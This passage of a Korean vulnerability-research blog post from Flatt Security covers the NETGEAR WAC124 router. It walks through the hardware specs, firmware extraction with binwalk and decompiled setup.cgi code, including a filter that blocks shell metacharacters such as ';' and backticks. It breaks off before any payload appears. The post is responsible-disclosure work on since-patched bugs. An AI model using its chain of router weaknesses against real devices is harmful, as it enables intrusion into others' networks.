About
Blog
Donate
Gaming
Network
Projects

Translation

This is the work done while working at Flatt Security Inc.

  • Japanese: https://blog.flatt.tech/entry/psv-2022-0044
  • English: https://flattsecurity.medium.com/cve-2021-20226-a-reference-counting-bug-which-leads-to-local-privilege-escalation-in-io-uring-e946bd69177a


Flatt Security Inc.

Flatt Security Inc. provides security assessment services. We are willing to have offers from overseas.

If you have any question, please contact us by https://flatt.tech/en/. Thank you in advance for reading this article.

๊ฐœ์š”

์•ˆ๋…•ํ•˜์„ธ์š”. Flatt Security Inc์˜ stypr(@stereotype32)์ž…๋‹ˆ๋‹ค. ์ œ๋กœ๋ฐ์ด ๋ธ”๋กœ๊ทธ๋ฅผ ์ž‘์„ฑํ•œ ์ดํ›„ ๊ฝค ๋งŽ์€ ์‹œ๊ฐ„์ด ์ง€๋‚ฌ์Šต๋‹ˆ๋‹ค.

์ž‘๋…„์— ์ผ๋ณธ OSS ์ œํ’ˆ์—์„œ ๋ฐœ๊ฒฌ๋œ ์ œ๋กœ๋ฐ์ด์— ๋Œ€ํ•œ ๊ธ€๊ณผ ์˜ฌํ•ด ์ดˆ์—๋Š” mysqljs์—์„œ ๋ฐœ๊ฒฌ๋˜๋Š” SQL ์ธ์ ์…˜ ๊ธฐ๋ฒ•์— ๋Œ€ํ•ด ์†Œ๊ฐœํ–ˆ์—ˆ๋Š”๋ฐ์š”.

์‚ฌ์‹ค ์ด ์™ธ์—๋„ ์—ฌ๋Ÿฌ ์ œํ’ˆ์—์„œ ๋‹ค์–‘ํ•œ ์ทจ์•ฝ์ ์„ ์ฐพ์•˜์ง€๋งŒ, ์ œ๊ฐ€ ๋ฐœ๊ฒฌํ•œ ๋ฒ„๊ทธ์˜ ๋Œ€๋ถ€๋ถ„์€ ๋ฐ”๋กœ ์ˆ˜์ •๋˜์ง€ ์•Š๊ฑฐ๋‚˜ ๊ฐœ๋ฐœ์ž๋กœ๋ถ€ํ„ฐ ๋ฐฉ์น˜๋œ ์ƒํ™ฉ์ด๊ธฐ์— ์žฌ๋ฏธ์žˆ๋Š” ์ทจ์•ฝ์ ๋“ค์— ๋Œ€ํ•ด ๊ณต์œ ํ•  ๊ธฐํšŒ๊ฐ€ ๋งŽ์ด ์—†์—ˆ๋˜ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

์ด๋ฒˆ ๊ธ€์—์„œ๋Š” NETGEAR์˜ WAC124(AC2000) ๋ผ์šฐํ„ฐ์—์„œ ๋‹ค์–‘ํ•œ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ณ , ์‚ฌ์ „ ์กฐ๊ฑด ์—†์ด ์ทจ์•ฝ์ ๋“ค์„ ์ฒด์ด๋‹ํ•˜์—ฌ ์ธ์ฆ ์šฐํšŒ๋ถ€ํ„ฐ ์‹œ์Šคํ…œ ์‰˜๊นŒ์ง€ ์ทจ๋“ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•˜๊ณ ์ž ํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์„ ์ฐพ์€ ์ˆœ์„œ๋ถ€ํ„ฐ, ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ๊ธฐ์ˆ ์ ์ธ ์„ค๋ช…๊ณผ ๊ณต๊ฒฉํ•˜๋Š” ๋ถ€๋ถ„๊นŒ์ง€ ์„œ์ˆ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฒˆ ๋ผ์šฐํ„ฐ์˜ ๊ฒฝ์šฐ ์„œ์ˆ ํ•˜๋Š” ๋ชจ๋“  ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ž‘์„ฑํ•˜๋Š”๋ฐ ์•ฝ 1์ฃผ์ผ ์ •๋„ ๊ฑธ๋ ธ๊ณ , ์™„์„ฑ๋œ ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ „์ œ ์กฐ๊ฑด์ด ํ•„์š”ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡๊ณผ ํ•„์š”ํ•˜์ง€ ์•Š์€ ์ต์Šคํ”Œ๋กœ์ž‡ ๋‘๊ฐœ๋กœ ๋‚˜๋‰ฉ๋‹ˆ๋‹ค.

ํ•œ๊ฐ€์ง€ ์•ˆํƒ€๊นŒ์šด ์†Œ์‹์€ ๋‚˜์ดํŠธํ˜ธํฌ์™€ ์˜ค๋ฅด๋น„ ์ œํ’ˆ๊ตฐ์— ๋Œ€ํ•ด์„œ๋งŒ ๋ฐ”์šดํ‹ฐ๋ฅผ ์ง€๊ธ‰ํ•˜๊ณ  ์žˆ๊ณ  ์žˆ๋‹ค๋Š” ์ ์ด๊ณ , NETGEAR WAC124๋Š” ๋น„์ฆˆ๋‹ˆ์Šค์šฉ์œผ๋กœ ๋งŒ๋“ค์–ด์กŒ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋ณด์ƒ๊ธˆ์ด ์ง€๋ถˆ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด๋ฒˆ ๊ธฐํšŒ๋ฅผ ํ†ตํ•ด ์—…๋ฌด ์™ธ์ ์ธ ํ™œ๋™์—์„œ ๋ผ์šฐํ„ฐ๋ฅผ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒƒ์€ ์ฒ˜์Œ์ด์˜€๊ธฐ ๋•Œ๋ฌธ์— ์ƒ๊ฐ๋ณด๋‹ค ์žฌ๋ฏธ์žˆ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์—ˆ๋˜ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

๊ฐ€๊นŒ์šด ๋ฏธ๋ž˜์—๋Š” ๋‹ค๋ฅธ ์œ ํ˜•์˜ ๋ผ์šฐํ„ฐ์—์„œ ์—ฌ๋Ÿฌ ์ข…๋ฅ˜์˜ ์ทจ์•ฝ์ ์„ ํŒŒํ—ค์น  ๊ณ„ํš์ž…๋‹ˆ๋‹ค. NETGEAR ํŒ€์—๊ฒŒ ์นœ์ ˆํ•˜๊ณ  ๋น ๋ฅธ ํŒจ์น˜๋ฅผ ํ•ด์ฃผ์‹  ์ ์— ๋Œ€ํ•ด์„œ๋Š” ๊ฐ์‚ฌ์˜ ๋ง์”€์„ ๋ฏธ๋ฆฌ ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

๋ฉด์ฑ…์‚ฌํ•ญ

๋ณธ ๊ธ€ ๋ฐ ๊ธฐํƒ€ ๊ธ€๋“ค์— ๋Œ€ํ•œ ๋‚ด์šฉ์€ ๋ณด์•ˆ์— ๊ด€ํ•œ ์ง€์‹์„ ๋„๋ฆฌ ๊ณต์œ ํ•  ๋ชฉ์ ์œผ๋กœ ์ง‘ํ•„๋˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ทจ์•ฝ์„ฑ์˜ ์•…์šฉ ๋“ฑ์˜ ๊ณต๊ฒฉ ํ–‰์œ„๋ฅผ ๊ถŒ์žฅํ•˜๋Š” ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค.

ํ—ˆ๊ฐ€ ์—†์ด ์ œํ’ˆ์„ ๊ณต๊ฒฉํ•˜๋Š” ํ–‰์œ„๋Š” ๋ฒ”์ฃ„๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ณธ ๋ธ”๋กœ๊ทธ์—์„œ ๊ธฐ์žฌํ•˜๋Š” ์ •๋ณด๋ฅผ ์ฐธ์กฐยท๋ชจ๋ฐฉํ•˜์—ฌ ํ–‰ํ•ด์ง„ ํ–‰์œ„์— ๊ด€ํ•˜์—ฌ ๋‹น์‚ฌ ๋ฐ ์ทจ์•ฝ์  ์ œ๋ณด์ž๋Š” ์ผ์ ˆ ์ฑ…์ž„์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์‚ฌ์ „ ์กฐ์‚ฌ

์ž„๋ฒ ๋””๋“œ ์žฅ๋น„๋ฅผ ๋ถ„์„ํ•˜๊ธฐ ์ „์— ๋จผ์ € ๊ธฐ๊ธฐ์— ์–ด๋– ํ•œ ํฌํŠธ๊ฐ€ ์žˆ๋Š”์ง€, ์–ด๋– ํ•œ ๋ฌผ๋ฆฌ์ ์ธ ๊ธฐ๋Šฅ๋“ค์ด ์žˆ๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ๋ผ์šฐํ„ฐ๊ฐ€ ์–ด๋–ป๊ฒŒ ํŽŒ์›จ์–ด๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š”์ง€ ๋“ฑ์„ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณผ์ •์„ ํ†ตํ•ด ์ˆจ๊ฒจ์ง€๊ฑฐ๋‚˜ ์ž˜ ํ™•์ธํ•ด๋ณด์ง€ ๋ชปํ•œ ๋ถ€๋ถ„๋“ค์„ ๋†“์น˜์ง€ ์•Š๊ณ  ํšจ์œจ์ ์œผ๋กœ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ผ์šฐํ„ฐ ์‚ฌ์–‘

WAC124 ๋ผ์šฐํ„ฐ์˜ ํ•˜๋“œ์›จ์–ด ์‚ฌ์–‘์„ ์ฝ๋‹ค ๋ณด๋ฉด CPU๊ฐ€ MIPS ์•„ํ‚คํ…์ฒ˜์ž„์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. MIPS ์•„ํ‚คํ…์ณ ๊ณ„์—ด ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๊ฒฝ์šฐ, ๋””์ปดํŒŒ์ผ ์ธก๋ฉด์—์„œ ๊ธฐ๋“œ๋ผ๊ฐ€ ๊ทธ๋Ÿญ์ €๋Ÿญ ์„ฑ๋Šฅ๊ณผ ํ’ˆ์งˆ์„ ๋ฐœํœ˜ํ•˜๋Š” ๊ฒƒ ๊ฐ™์•„ ์ด๋ฒˆ์—๋Š” ๊ธฐ๋“œ๋ผ(https://ghidra-sre.org/)๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ๋กœ ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ์ฐธ๊ณ ํ• ๋งŒํ•œ ๊ฒƒ์€, ๋ผ์šฐํ„ฐ์—๋Š” ๋ฏธ๋””์–ด ๊ณต์œ ๋ฅผ ์œ„ํ•œ USB ํฌํŠธ๊ฐ€ ์žˆ๋‹ค๋Š” ์ ์ด๊ณ , ํ•ด๋‹น ํฌํŠธ๋Š” ์ถ”ํ›„ ๋ณธ ๊ธฐ์‚ฌ์—์„œ ์–ธ๊ธ‰ํ•  ์˜ˆ์ •์ž…๋‹ˆ๋‹ค.

๋‹ค์Œ์€ WAC124 ๋ผ์šฐํ„ฐ์˜ ์‚ฌ์–‘์ž…๋‹ˆ๋‹ค.

TypeValue
CPUMediaTek MT7621AT @880MHz MIPS
Memory128MB (SDRAM) DDR3L
Storage128MB SLC NAND Flash
Wi-FiMediaTek MT7615N (802.11an+ac)
MediaTek MT7603EN (802.11bgn)
Network5x Gigabit Ethernet ports
USB1x USB 2.0 ports
Power12V, 1.5A via barrel

ํŽŒ์›จ์–ด ๋คํ”„

๋ณดํ†ต ๋ผ์šฐํ„ฐ๋‚˜ IoT ๋””๋ฐ”์ด์Šค๋ฅผ ๊ณต๊ฒฉํ•  ๋•Œ๋Š” ๋จผ์ € ์žฅ๋น„์˜ ํŽŒ์›จ์–ด๋ฅผ ๋คํ”„ํ•ด์•ผํ•˜๋Š”๋ฐ, ๋ณดํ†ต ํ•˜๋“œ์›จ์–ด์— ๋Œ€ํ•œ ๊ธฐ์ดˆ์ง€์‹์ด ํ•„์š”ํ•˜๊ฑฐ๋‚˜ UART ๋“ฑ์˜ ์‹œ๋ฆฌ์–ผ ํฌํŠธ๋‚˜ ๋””๋ฒ„๊น… ํฌํŠธ๋ฅผ ์ฐพ์•„์„œ ์ ‘์†ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

๋‹คํ–‰ํžˆ NETGEAR ํŽŒ์›จ์–ด๋Š” ๊ณต์‹ ์‚ฌ์ดํŠธ์—์„œ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ๋Œ€์ƒ ๋ผ์šฐํ„ฐ์˜ ํŽŒ์›จ์–ด ๊ธฐ์ข…์„ ๊ฒ€์ƒ‰ํ•˜์—ฌ ์ ์ ˆํ•œ ํŽŒ์›จ์–ด๋ฅผ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค. ๋ณธ ๊ธฐ์‚ฌ๋ฅผ ์“ฐ๊ณ  ์žˆ๋Š” ์‹œ์ ์—์„œ์˜ WAC124์˜ ์ตœ์‹ (์ทจ์•ฝํ•œ) ๋ฒ„์ „์€ V1.0.4.6์ž…๋‹ˆ๋‹ค. ํ˜„์žฌ๋Š” V1.0.4.7์—์„œ ์ •์‹์œผ๋กœ ์ทจ์•ฝ์ ์ด ํŒจ์น˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

NETGEAR์˜ ํŽŒ์›จ์–ด์˜ ๊ฒฝ์šฐ binwalk(https://github.com/ReFirmLabs/binwalk)์™€ squashfs-tools๋ฅผ ์ด์šฉํ•˜์—ฌ ์‰ฝ๊ฒŒ ํŽŒ์›จ์–ด์—์„œ ํŒŒ์ผ์„ ์ถ”์ถœํ•ด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ์ฝ”๋“œ์™€ ๊ฐ™์ด binwalk๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŽŒ์›จ์–ด๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

# binwalk -e ./WAC124.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x8C713BD5, created: 2018-08-22 18:51:44, image size: 139968 bytes, Data Address: 0xA0200000, Entry Point: 0xA0200000, data CRC: 0xFDC782B2, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: none, image name: "NAND Flash I"
113984        0x1BD40         U-Boot version string, "U-Boot 1.1.3 (Aug 22 2018 - 14:51:38)"
262074        0x3FFBA         Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
2097152       0x200000        uImage header, header size: 64 bytes, header CRC: 0x3F03E59E, created: 2020-03-20 08:48:54, image size: 3710717 bytes, Data Address: 0x80801000, Entry Point: 0x8080D1D0, data CRC: 0x288B4EF5, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
2097216       0x200040        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9493440 bytes
6291456       0x600000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 20009095 bytes, 2238 inodes, blocksize: 131072 bytes, created: 2020-03-20 08:48:44
48234496      0x2E00000       Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
48234624      0x2E00080       Zip archive data, at least v2.0 to extract, compressed size: 27512, uncompressed size: 182956, name: ui.xml
48262193      0x2E06C31       Zip archive data, at least v2.0 to extract, compressed size: 13678, uncompressed size: 89652, name: msg.xml
48275929      0x2E0A1D9       Zip archive data, at least v2.0 to extract, compressed size: 43820, uncompressed size: 199506, name: hlp.js
48320002      0x2E14E02       End of Zip archive
50331648      0x3000000       Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
50331776      0x3000080       Zip archive data, at least v2.0 to extract, compressed size: 28579, uncompressed size: 172930, name: ui.xml
50360412      0x300705C       Zip archive data, at least v2.0 to extract, compres
...

๋ผ์šฐํ„ฐ์˜ ๋””๋ ‰ํ† ๋ฆฌ ๊ตฌ์กฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ถœ๋ ฅ๋ฉ๋‹ˆ๋‹ค.

# cd _WAC124.bin.extracted/squashfs-root
# ls -al
total 156
drwxr-xr-x  13 root root  4096 Jun 21  2016 .
drwxr-xr-x 127 root root 69632 Sep  6 18:31 ..
lrwxrwxrwx   1 root root     9 Mar 20  2020 bin -> usr/sbin/
drwxrwxrwx   2 root root  4096 Aug 15  2015 data
drwxr-xr-x   2 root root  4096 Oct 19  2015 dev
lrwxrwxrwx   1 root root     8 Mar 20  2020 etc -> /tmp/etc
lrwxrwxrwx   1 root root    11 Mar 20  2020 etc_ro -> /tmp/etc_ro
drwxr-xr-x   2 root root  4096 Dec  2  2012 home
lrwxrwxrwx   1 root root    11 Mar 20  2020 init -> bin/busybox
drwxr-xr-x   5 root root 12288 Mar 20  2020 lib
drwxr-xr-x   2 root root  4096 Dec  2  2012 media
lrwxrwxrwx   1 root root     8 Mar 20  2020 mnt -> /tmp/mnt
drwxr-xr-x   6 root root  4096 Mar 20  2020 opt
drwxr-xr-x   2 root root  4096 Nov 13  2000 proc
lrwxrwxrwx   1 root root     9 Mar 20  2020 sbin -> usr/sbin/
drwxr-xr-x   2 root root  4096 Nov 17  2008 sys
drwxr-xr-x   2 root root  4096 Jul 29  2000 tmp
drwxr-xr-x  10 root root  4096 Jun 21  2016 usr
lrwxrwxrwx   1 root root     8 Mar 20  2020 var -> /tmp/var
lrwxrwxrwx   1 root root     8 Mar 20  2020 www -> /tmp/www
drwxr-xr-x   9 root root 32768 Mar 20  2020 www.eng

๋“ฑ์žฅํ•˜๋Š” ํŒŒ์ผ ๋ชฉ๋ก

์ด๋ฒˆ ๊ธ€์—์„œ ์–ธ๊ธ‰ํ•˜๊ฒŒ ๋  ํŒŒ์ผ ๋ชฉ๋ก์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • /bin/mini_httpd, mini_httpd: HTTP ์„œ๋ฒ„ ๋ฐ๋ชฌ

  • /bin/setup.cgi, setup.cgi: ์„ค์ •์„ ์ฒ˜๋ฆฌํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋˜๋Š” CGI ํŒŒ์ผ (ELF ๋ฐ”์ด๋„ˆ๋ฆฌ)

  • /www.eng/: HTTP ์„œ๋ฒ„์˜ ๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ

  • /etc/htpasswd: ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€ ์ธ์ฆ์šฉ์œผ๋กœ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋Š” ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ๋กœ๊ทธ์ธ ์ธ์ฆ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค.

    • ์ด ํŒŒ์ผ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ฝ์„ ์ˆ˜๋งŒ ์žˆ๋‹ค๋ฉด Telnet ์ธ์ฆ ๋ฐ Web ์ฝ˜์†”๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
    • ํŒŒ์ผ์˜ ํฌ๋งท์€ ์‚ฌ์šฉ์ž๋ช…:๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋‹ˆ๋‹ค. (....)

์ค€๋น„ ์šด๋™ (XSS ์ฐพ๊ธฐ)

์ผ๋ฐ˜์ ์œผ๋กœ ์ž„๋ฒ ๋””๋“œ ๊ธฐ๊ธฐ์˜ ํŠน์„ฑ์ƒ ๊ฐœ๋ฐœ์ž๊ฐ€ ์›น ๊ด€๋ จ ๋ถ€๋ถ„์— ํฌ๊ฒŒ ์‹ ๊ฒฝ์„ ์“ฐ์ง€ ์•Š๊ณ  XSS์™€ ๊ฐ™์€ ์ทจ์•ฝ์ ์„ ๋ฐฉ์น˜ํ•ด๋‘๊ธฐ ๋•Œ๋ฌธ์—, ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…(XSS)๊ณผ ๊ฐ™์€ ๊ธฐ๋ณธ์ ์ธ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋ณด๋Š” ๋ฐฉ๋ฒ• ๋“ฑ์„ ์šฐ์„  ์ง„ํ–‰ํ•ด๋ณผ ์ˆ˜ ์žˆ๊ฒ ์Šต๋‹ˆ๋‹ค.

/www.eng/์—์„œ ์ˆ˜์ƒํ•ด๋ณด์ด๋Š” HTML ํŒŒ์ผ๋“ค์„ ์ข€ ์ฝ์–ด๋ณด๋‹ˆ usb_new_fld.htm ํŒŒ์ผ์—์„œ @usb_opener_htm#์ด๋ผ๋Š” ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ์ด๋ฅผ ํ†ตํ•ด ์ž์ฒด์ ์ธ ํ…œํ”Œ๋ฆฟ ์—”์ง„์ด ๊ตฌํ˜„๋˜์–ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ usb_new_fld.htm ํŒŒ์ผ์˜ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
...
<script>
...
function browseDisk()
{
	var cf = document.forms[0];
	dataToHidden(cf);
	cf.todo.value = "browse";
	cf.next_file.value = "usb_fld_tree.htm";
	return true;
}

function end()
{
	opener.location.href = "@usb_opener_htm#";
	self.close();
}
...
</script>

๋‚ด๋ถ€์ ์œผ๋กœ ์–ด๋–ค์‹์œผ๋กœ ์ž‘๋™ํ•˜๋Š”์ง€์— ๋Œ€ํ•ด ์กฐ๊ธˆ ๋” ๊นŠ์ด ์‚ดํŽด๋ณด๋‹ˆ, ์—ด๋žŒ๋œ ํŒŒ์ผ์—์„œ ํ…œํ”Œ๋ฆฟ์„ ํ•ด์„ํ•˜๋Š” html_parser๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€์Šต๋‹ˆ๋‹ค.

์ด ํ•จ์ˆ˜์— ๋Œ€ํ•ด์„œ ์ž์„ธํžˆ ํ•œ์ค„ํ•œ์ค„ ์ฝ์–ด๊ฐ€๋ฉฐ ํ™•์ธํ•˜์ง€๋Š” ์•Š์•˜์ง€๋งŒ, ์ด ํ•จ์ˆ˜๋Š” ๋Œ€๋žต์ ์œผ๋กœ ์•„๋ž˜์™€ ๊ฐ™์€ ์ฒ˜๋ฆฌ๋ฅผ ํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

  1. ์š”์ฒญ๋œ ๋ฆฌํ€˜์ŠคํŠธ๋ฅผ ํ†ตํ•ด ์ ์ ˆํ•œ ํŒŒ์ผ์„ ์ฝ๋Š”๋ฐ, ์—ฌ๊ธฐ์„œ ํŠน์ • ํŒŒ์ผ ํ™•์žฅ์ž๋ฅผ ์ฒดํฌํ•œ๋‹ค (์ด์— ๋Œ€ํ•ด์„œ๋Š” ์ดํ›„ ์ƒ์„ธํžˆ ํ›„์ˆ ํ•ฉ๋‹ˆ๋‹ค)

  2. @variable#์˜ ์กฐ๊ฑด์— ๋งž๋Š” ๊ฐ’์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค

  3. ์•Œ๋งž์€ ๋ฌธ์ž๋ฅผ ์ฐพ์œผ๋ฉด ์„ ์‹ค์ œ ๊ฐ’์œผ๋กœ ๋ฐ”๊ฟ‰๋‹ˆ๋‹ค.

๋‹ค์Œ์€ setup.cgi์˜ html_parser ํ•จ์ˆ˜์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.

undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
...
  fp = open(filename,0);
...
    read(fp,buf,0xffff);
    close(fp);
...
      tmp = strtok(buf,"@");
      while (tmp != (char *)0x0) {
        fputs(tmp,stdout);
        tmp = strtok((char *)0x0,"#");
        if (tmp != (char *)0x0) {
          memset(acStack131120,0,0xffff);
          ppcVar1 = param_3;
          do {
            while( true ) {
              ppcVar2 = ppcVar1;
              if (*ppcVar2 == (char *)0x0) goto LAB_00423e54;
              if (ppcVar2[1] != (char *)0x0) break;
              ppcVar1 = ppcVar2 + 6;
            }
            fp = strcmp(tmp,*ppcVar2);
            ppcVar1 = ppcVar2 + 6;
          } while (fp != 0);
...
LAB_00423e54:
          fputs(acStack131120,stdout);
        }
        tmp = strtok((char *)0x0,"@");
      }
      ret = 0;
    }
  }
  return ret;
}

๊ทธ ๋ฐ–์—๋„ nvram์— usb_opener_htm์„ ์ถ”๊ฐ€ํ•˜๋Š” ํ•จ์ˆ˜ ๋“ฑ๋„ ์žˆ์—ˆ์ง€๋งŒ, ๋ธ”๋กœ๊ทธ ๊ธฐ์‚ฌ์—์„œ ๋ชจ๋“  ๋ถ€๋ถ„์„ ์„ค๋ช…ํ•˜๊ธฐ์—๋Š” ๋„ˆ๋ฌด ๊ธธ์–ด์ง€๋ฏ€๋กœ ํ•ด๋‹น ๋ถ€๋ถ„์€ ์ƒ๋žตํ•ฉ๋‹ˆ๋‹ค.

์œ„ ์ฝ”๋“œ๋ฅผ ์ดํ•ดํ•จ์œผ๋กœ์จ ํ…œํ”Œ๋ฆฟ ๊ฐ’์„ ์–ด๋–ค์‹์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€์— ๋Œ€ํ•ด์„œ ์ดํ•ดํ•˜๋Š”๋ฐ๋Š” ์„ฑ๊ณตํ–ˆ์ง€๋งŒ, ์ •์ž‘ ๋ฐ์ดํ„ฐ๋ฅผ ์ด๊ฒƒ์ €๊ฒƒ ์ž…๋ ฅํ•˜๋‹ค ๋ณด๋ฉด ์„œ๋ฒ„์—์„œ ๋ฆฌํ€˜์ŠคํŠธ๋ฅผ ์ฐจ๋‹จํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฒฐ๊ตญ ํ•จ์ˆ˜ ํ˜ธ์ถœ์ด ๋˜๋Š” ๋ถ€๋ถ„์„ ์ „๋ถ€ ์ถ”์ ํ•˜๋‹ค setup.cgi์˜ main ํ•จ์ˆ˜๋ฅผ ์กฐ์‚ฌํ•ด๋ณด๋‹ˆ, FindForbidValue ๋ผ๋Š” ํ•จ์ˆ˜์—์„œ HTTP ์š”์ฒญ์œผ๋กœ๋ถ€ํ„ฐ ์ž…๋ ฅ๊ฐ’์„ ๊ฒ€์‚ฌํ•˜๊ณ  ์ฐจ๋‹จํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์ถ”๊ฐ€๋˜์–ด ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ์€ setup.cgi์˜ main ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.

undefined4 main(undefined4 param_1,char **param_2)
{
  ...
  int iVar8; // parsed input ptrptr?
  ...
  if (iVar8 == 0) {
    iVar8 = cgi_input_parse(param_1,param_2);
  }
  iVar1 = FindForbidValue(iVar8);
  if (iVar1 != 0) {
    iVar8 = (**(code **)(local_30 + -0x7ab0))(0x4bd2e0,&DAT_004a673c);
    if (iVar8 != 0) {
      (**(code **)(local_30 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x17b);
      (**(code **)(local_30 + -0x7b40))("Invalid input value!\n",iVar8);
      (**(code **)(local_30 + -0x7a9c))(iVar8);
    }
    send_forbidden();
    return 0;
  }
  ...
}

์ด์–ด์„œ FindForbidValue์˜ ๋””์ปดํŒŒ์ผ๋œ ์ฝ”๋“œ๋ฅผ ์ฝ์–ด๋ณด๋‹ˆ ์ด๋ฏธ ;, ||, ๋ฐฑํ‹ฑ (`)๋“ฑ์˜ ์ผ๋ถ€ ๊ฐ’์€ ํ•„ํ„ฐ๋ง์ด ๋˜์–ด ์ฐจ๋‹จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค๋งŒ, XSS ๊ด€๋ จํ•œ ํŽ˜์ด๋กœ๋“œ๋Š” ์ „ํ˜€ ์ฐจ๋‹จ๋˜์ง€ ์•Š์•„์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ๋ถ€๋ถ„๋งŒ ์ž˜ ํ™•์ธํ•œ๋‹ค๋ฉด XSS๋ฅผ ์ถฉ๋ถ„ํžˆ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

uint FindForbidValue(int **param_1)

{
  int iVar1;
  char **ppcVar2;
  char *__s1;
  undefined4 uVar3;
  char **ppcVar4;
  char *__s;
  char **ppcVar5;
  
  uVar3 = 0;
  if (((param_1 != (int **)0x0) && ((char **)*param_1 != (char **)0x0)) &&
     (ppcVar2 = (char **)*param_1, param_1[2] != (int *)0x0)) {
    do {
      do {
